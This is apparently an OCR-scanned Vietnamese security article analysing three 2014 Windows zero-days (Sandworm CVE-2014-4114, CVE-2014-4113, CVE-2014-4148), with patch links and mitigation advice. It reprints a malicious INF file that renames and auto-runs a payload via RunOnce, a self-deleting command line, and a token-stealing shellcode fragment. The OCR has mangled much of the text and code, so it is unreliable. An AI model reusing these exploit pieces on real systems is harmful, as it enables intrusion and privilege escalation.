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Tém tit: Microsoft Windows a hé diéu hanh phé bién trén thé gidi, dwoc nhiéu nguoi sie
dung. Thdt khéng may, Microsoft Windows hién ciing la muc tiéu khai thdc 16 hong béi tinh pho
bién va tién loi ciia né. Hang loat cdc 16 hong da dwoc phdt hién, cdc 16 hong nay cho phép ké
tdn cong cé thé xam nhdp va diéu khién mdy tinh tir xa ma khong dwoc phdt hién béi hau hét
cac anti-virus hién nay. Thang 10 nam 2014 vira qua, 3 16 hong zero-day CVE-2014-4113, CVE-
2014-4114 va CVE-2014-4148 trong cdc phién ban Microsoft Windows da dwoc cdc 16 chirc
iSight va FireEye phdt hién va cong bé. Bai dwéi ddy sé phan tich chi tiét cdc 16 hong Zero-day

nay.

CVE 2014-4114 duoc iSight phat hién,
anh hudng toi tit ca cac phién ban hd trg cua
Microsoft Windows, Windows Server 2008,
2012 va dugc biét dén véi cai tén 16 hong
Sandworm, c6 thé cho phép ké tin cong thuc
thi cac ma tr xa khi ngudi dung mé mat tap
tin Microsoft Office ddc hai.

2 16 hong CVE-2014-4113 va CVE-
2014-4148 duoc FireEye phat hién cling gay
anh hudng toi tit ca cac phién ban hd trg cia
Windows. CVE-2014-4114 1a mot 16 hong
leo thang dic quyén bang cach tan dung 10
hong trong Windows kernel (Win32k.sys).
CVE-2014-4148 khai thac 15 hong trong muc
True Type Font (TTF), qua trinh xtr 1y TTF
dugc thyc hién trong kernel mode nhu mdt
phan ciia GDI, c6 thé cho phép ké tan cong
truy cép vao kernel-mode.

CVE-2014-4114 Sandworm

L3 hong zero-day nguy hiém nay ton tai
trong tip PACKAGER.DLL, 1a mot phéan cia
g61 quan 1y OLE cua Microsoft Windows va
Windows Server, cho phép ké tin cong co
thé thuc thi m3 tr xa trén hé théng muc tiéu
khi mdt ngudi dung md mdt tap tin c6 chira
cac OLE object Itra dao. OLE la cong nghé
Object Linking and Embedding (OLE) cua
Microsoft cho phép ndi dung co thé duoc lién
két bén trong cac tai lieu. Ké tin cong khai
thac 16 hong nay sir dung cach thirc quen
thugc 1la chéen ma doc vao céc tap tin
Microsoft Office (phét hién dau tién 1a tir tap
tin Power Point), sau d6 dinh kém vao email
lam moi nhir goi dén nan nhan. Ngay khi tap
tin dugc md, 1ap tirc ma doc (malware) dugc

thuc thi. Céc tap tin thyc thi tr xa nay duogc
iISIGHT phat hién c6 chira Trojan doc hai
BlackEnergy.

L5 hong nay dugc danh gia 1a nghiém
trong boi vi n6 twong d6i d& dé khai thac. Keé
tain cong khong cin tao Shellcode hay
chuong trinh phan hdi c6 dinh huéng (ROP)
dé vuot qua sy bao vé DEP. DEP ngin chin
viéc thuc thi cac ma (bao gém ca cac
Shellcode ddc hai) tir cac vung nhat dinh cua
bo nhé may tinh. Néu ké tan cong biét duoc
dinh dang, chung c6 thé dung Powerpoint dé
khai thac tryc tiép. Hon nita, khi khong co
heap spray, ROP, Shellcode, hau hét cac
phuong phép phat hién phong doan s€ kho
phat hién ra dugc ching.

Céc tap tin doc hai dugc tim théy trong
tap tin mé rong PPTX. Mat diéu 1a néu ta
thay d6i phan mo rong tir PTTX sang PPT thi
16 hong s& khong thé khai thac dugc va tap
tin nay thuc chét 1a mot tap tin nén dinh dang
ZIP c6 chua cac tap tin XML va mot ) tap
tin khac.

Trong Power Point, Microft cho phép
chén mot dbi tuong OLE vao tap tin, dé tao
ra mot dbi twong Package Shell. Str dung
chtic nang nay ngudi dung c6 thé nhung cac
tap tin, bao gdom ca céc file PE vao file Power
Point. Thong thuong, né khong gy hai cho
nguoi dung cudi trong cac thyc thi truc tiép,
nhung ddi voi cac tap tin INF, n6 sé dugc md
ra va thyc thi ngay 1ap tuc thong qua viée cai
dat mac dinh cac INF (InfDefaultInstall.exe),
qua d6 ké tan cong c6 thé tién hanh cai dat
ma nguoi dung khong hé hay biét (hoic
khong dugce cho phép).



Tién hanh phan tich tap tin Power Point
bi nhiém 16 hong, ta c6 thé nhan thay ké tan

cong da nhing 2 OLE object vao tap tin, d6
la OleObjectl.bin va OlePbject2.bin.
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Khi nguoi dung mé file Power Point,

ham

CPackage::OLE2MPlayerReadFromStream()
ctia Packager.dll sé tai vé 2 file qua Internet
va luu ching vao mét thu muc tam, ham
CPackage::DoVerb() s€¢ cai dat slides.inf
bang cach chay file InfDefaultInstall.exe.
Tap tin INF slides.inf d6i tén tap tin
slidel.gif thanh slidel.gif.exe va chay n6 mot
cach bi mat st dung RunOnce program. O
lan khoi dong hé théng tiép theo, Trojan nay

s& duoc thuc thi ty dong. Day chinh Ia chia

khoa dé khai tao 16 hong nay.

DefaultDestDir
=1

[RxRename]

slidel.gif.exe,
slidel.gif

[RxStart]

HKLM,Software\ Microsoft\Windows\CurrentVersion\RunOnce,Install, %1% \slidel.gif.exe




Quy trinh vong doi ctia 16 hong nay duoc mo ta nhu dudi day:

POWERPNT . EXE
|

|-InfDefaultInstall.exe %AppData%\Local\Temp\slides.inf

|
| —runonce.exe
|
|-slidel.gif.exe
|

|- rundll32.exe %AppData%\Local\FONTCACHE.DAT MakeCache

|-cmd.exe (cmdline: /s /c for /L %i in (1 1 100) do
(del /F %AppData%\Local\Temp\SLIDE1l~1.EXE &

ping localhost -n 2 & if not exist C:\Users\WIN764~1\AppData\Local\Temp\SLIDEl~1.EXE Exit

Ngudi ding cubi khi mé tp tin
PowerPoint ddc hai van s€ nhin thay cac hinh
anh tai li€u nhu binh thuong.

Pé dam bao an toan trude 16 hong nay,
nguoi dung khong nén mo cac tap tin Power
Point tir cic ngudn khong rd rang vi né co
thé chira mot loat cac phan mém doc hai
dong thoi nén bat canh bao UAC (User
Account Control), s dung cong cu “Fix it”
tur dong dé ngan chan cudc tAn cong, va néu
can thiét c6 thé sir dung Enhanced Mitigation
Experience Toolkit (Emet) 5.0 dé bao vé
Power Point. Hién tai Microsoft da dua ra
ban va cap nhat an ninh MS14-060, nguoi
dung c6 thé update ban va tai:

https://technet.microsoft.com/library/security
/ms14-060

CVE-2014-4113

CVE-2014-411314 mot 16 hong leo
thang dic quyén anh huong dén tit ca cac
phién ban ciia Windows bao gom Windows
7, Vista, XP, Windows 2000, Windows
Server 2003/ R2, Windows Server 2008/ R2,
Windows 8.x va Windows Server 2012/ R2
va da duoc Microsoft dua ra ban va véi ma
MS14-058. L& hong xay ra do driver
win32k.sys thiéu kiém tra gia tri tra vé.
Driver ndy chiu trach nhiém cho phan kernel-
mode cta hé théng con Windows, xtr 1y viéc
quan 1y ctra s6 va cung cip giao dién thiét bi
dd hoa (GDI) giita cac tng dung.

Ham user32!TrackPopupMenu() c6 thé
duoc dung dé kich hoat 16 hong tir ché do
user-mode. Ham
win32k!xxxHandleMenuMessages() chiu
trach nhiém xwr 1y cac API trong kernel. Ham
nay goi ham
win32k!xxxMNFindWindowFromPoint()

thuong dung dé tra vé cac dia chi cua ciu
tric win32k!tagWWND. Tuy nhién trong
truong hop khong thanh cong (ching han
nhu truong hop bi 16i man hinh xanh), ham
nay s& tra vé ma 156i -1 va -5 qua tham sd
xxxSendMessage(). Ham goi
win32k!xxxHandleMenuMessages() kiém tra
gid tri tra vé -1 nhung khong kiém tra gid trj -
5. Khi truong hop khong thanh cong khong
con bi bat gap nira, ham nay tiép tuc gia dinh
c6 mot con tro hop 1¢ t&i cau truc
win32k!tagWND nhung van tiép tuc sir dung
gia tri -5 (Oxfffffffb). Poan code cuia ham
win32k!xxxHandleMenuMessages()  dugc
mo ta nhu ¢ dudi:

saHandleMenudlessages(l.

{

tagWnd* pWnd = xxxMNEindWindowFromPoint(...);

. /Mwithout checking if the return value is a valid address
}

Cac bude chinh khi qué trinh khai thac
Xay ra:

- O ché d6 user mode, anh xa viing bd nhd
da duoc chuan bi sang NULL page, chta
cu trac win321'tagWND gia mao va
mot con trd t6i shell code trong cdu triic
do.

- Kich hoat 16 hong, st dung ham
SetWindowsHookEx() dé diéu
khién xxxMNFindWindowFromPoint()
sang gia tri -5 (Oxfffffffb). Boi vi tat ca
cac truong dugc kiém tra trong ciu tric
gia mao d6 déu c6 thé truy cap va co gia
tri phu hop nén xxxSendMessage() s€
coi gia tri -5 nhu moét dia chi hop 1€. N6
s& goi mot con tré ham trong ciu trac do
tré toi mot shell code.


https://technet.microsoft.com/library/security/ms14-060
https://technet.microsoft.com/library/security/ms14-060

- Thay thé cac token trong EPROCESS dé
nang lén thanh dic quyén SYSTEM
trong shell code.

- Tao mdt quy trinh con véi dic quyén
SYSTEM cua chuong trinh dugc chi
dinh.

O hinh dudi ta c6 thé thiy shell code lay
EPROCESS cua SYSTEM process (PID = 4)
va sao chép cac token dic quyén cua nd téi
EPROCESS cua quy trinh hién tai.

Mot doan code trong shellcode

push ebp

nov ebp, esp

sub esp, 8

pusha

nov ecx, dword_40C000 ; GetCurrentProcessID

lea eax, [ebpevar 8]

push eax ; _DWORD

push ecx 3 _DWORD

call dword_40C00C ; PsLookupProcessByProcessid
nov ecx, dword_40COB4 ; 4: system process id
lea eax, [ebpsvar_4u]

push eax ; _DWORD

push ecx ; _DWORD

call dword_40C00C ; PsLookupProcessByProcessid
nov eax, [ebprvar_u]

nov ecx, dword_40C008 ; Token offset in EPROCESS
add eax, ecx

push dword ptr [eax]

nov eax, [ebp+var_8]

add eax, ecx

pop dword ptr [eax] ; overwrite current process token with system token
popa

nov esp, ebp

pop ebp

xor eax, eax

retn 10h

sub_401830 endp

Nhu vay ta c6 thé thiy rang viéc khai
thac 16 hong vao kernel Windows dé dang
hon réat nhiéu viéc khai thac cac 156 hong khac
(chang han nhu 16 hong Internet Explorer).
Kiéu tan coéng nay anh huong téi Win7 va
Win XP 14 chu yéu va hién nay di c¢6 phién
ban 4nh hudéng t61 cd Windows 8.1.

Process Explorer - Sysinternals: www.sysintemals.com [Win81\Moritz] - o IEN

L6 héng CVE-2014-4113 gdy dnh hieong t6i hé diéu hanh Windows 8.1

CVE 4148

Pay 1a mot 16 hong thyc thi ma ton tai
khi kernel-mode trong Windows xu ly True
Type Font trong win32k.sys khong dung
cach. Ké tan cong co thé khai thac 16 hong
nay bang cach nhing mot TTF (True Type
Font) vao mot tap tin Microsoft Ofice. Ngay
khi nguoi dung mé tap tin TTF doc hai do,
font s€ dugc xu ly trong kernel-mode, va ké
tan cong co thé goi mot DDL di nhung, d6
thuc t& 13 mot cong cu truy cdp tir xa. Ld
hong nay 1a rat phtic tap vi no tranh dugc su
phan tich, tranh chay shellcode nhiéu lan va
c¢6 thé duoc tiy chinh tiy theo méi truong
dang nhiam toi. Ké tin cong khai thac thanh
cong 16 hong nay c6 thé chay ma tiy ¥ trong

kernel-mode, co thé cai dat phin mém; xem,
thay doi hoac xo6a dir liéu; hodc tao tai khoan
mdi voi quyen quan tri hé thong.

Pé viéc khai thac thanh cong, ngudi
dung phai truy cdp vao mot website khong
dang tin cdy co6 chtra tap tin font True Type
lira dao, hodc mo tap tin d6 chang han nhu
dinh kém trong email. Trong moi truong hop,
ké tdn cong khong thé ép budc nguoi ding
thuc hién cac hanh dong d6 ma phai thuyét
phuc ho, dién hinh 13 khién ho nhin vao
duong link trong ban tin email hay ban tin
Instant Mesenger.

Shellcode ciia ké tdn cong ndm bén trong
Font Program (fpgm) cua TTF. Trong qua
trinh khai thac, budc thir 2, shellcode cua ké



tan cong st dung APC (Asynchronous
Procedure Calls) dé tiém tir kernel-mode vao
winlogon.exe (trong XP) hodc Isass.exe
(trong cac hé diéu hanh khac) & ché do user-
mode. Trong qua trinh tiém nhidm do6, ké tan
cong thuc hién budc 3. giai ma DLL da
nhiing vao, va chay no. DLL nay 1a mét cong
cu diéu khién truy cp tur xa két ndi toi ke tan
cong, co thé 1ay dir liéu ctia nguoi dung.

Kiéu tan cong nay la mot ki€u khai thac
16 hong Zero-day vao kernel. Mot s6 diém ta
c0 thé nhan thay vé cudc tan cong nay:

- St dung mot vung ma héa cliing trong bo
nhé kernel nhu 1 mutex dé tranh viéc
chay shellcode nhiéu lan.

- Viéc khai thac nay c6 mot thoi gian hét
han. Néu hét thoi gian, shellcode khai
thac s& 4m tham tat di.

- Shellcode c¢6 kha nang tuy chinh viéc
trién khai tiy theo 4 loai nén tang/ dich
vu hé diéu hanh.

- Malware dugc dua vao gidi ma riéng 1¢
ting chudi khi cac chudi d6 dugc dung
dé ngan chan viéc phan tich.

- Cac malware dugc thay do6i tly theo
timg moi trudong dugce nham téi.

- Co day du kha ning truy cap tir Xa va co
thé diéu chinh dugc.

- DLL dugc nhing vao la mdt cong cu
didu khién truy cap tir xa, khong dugc
ghi 1én dia cimg ma chi dugc load vao
b6 nhé khién cac san pham diét virus rat
kho phat hién ra.

Hién tai 2 156 hong CVE-2014-4113 va
CVE-2014-4148 da dugc va véi ma MS14-

Au Xuan Phong
Sinh nam: 1987

Thong tin tac gia:

058, nguoi dung nén nhanh chéng cap nhat
ban va va gitr cho hé thong ludon duogc cap
nhat. nhat Ban va c6 thé download tai:

https://technet.microsoft.com/en-
us/library/security/ms14-058.aspx

KET LUAN

Song hanh cung véi sy phat trién khong
ngimg cua hé diéu hanh Windows luén 1a cac
hanh dong tin cong khong mét moi nham
khai thac cac diém yéu moi xudt hién cua tin
tac. Viéc phan tich cac 16 hong Zero-day gilp
ching ta biét dugc cach thire 16 hdéng duoc
khai thac dé tir d6 dua ra dugc cach bao vé
phu hop.
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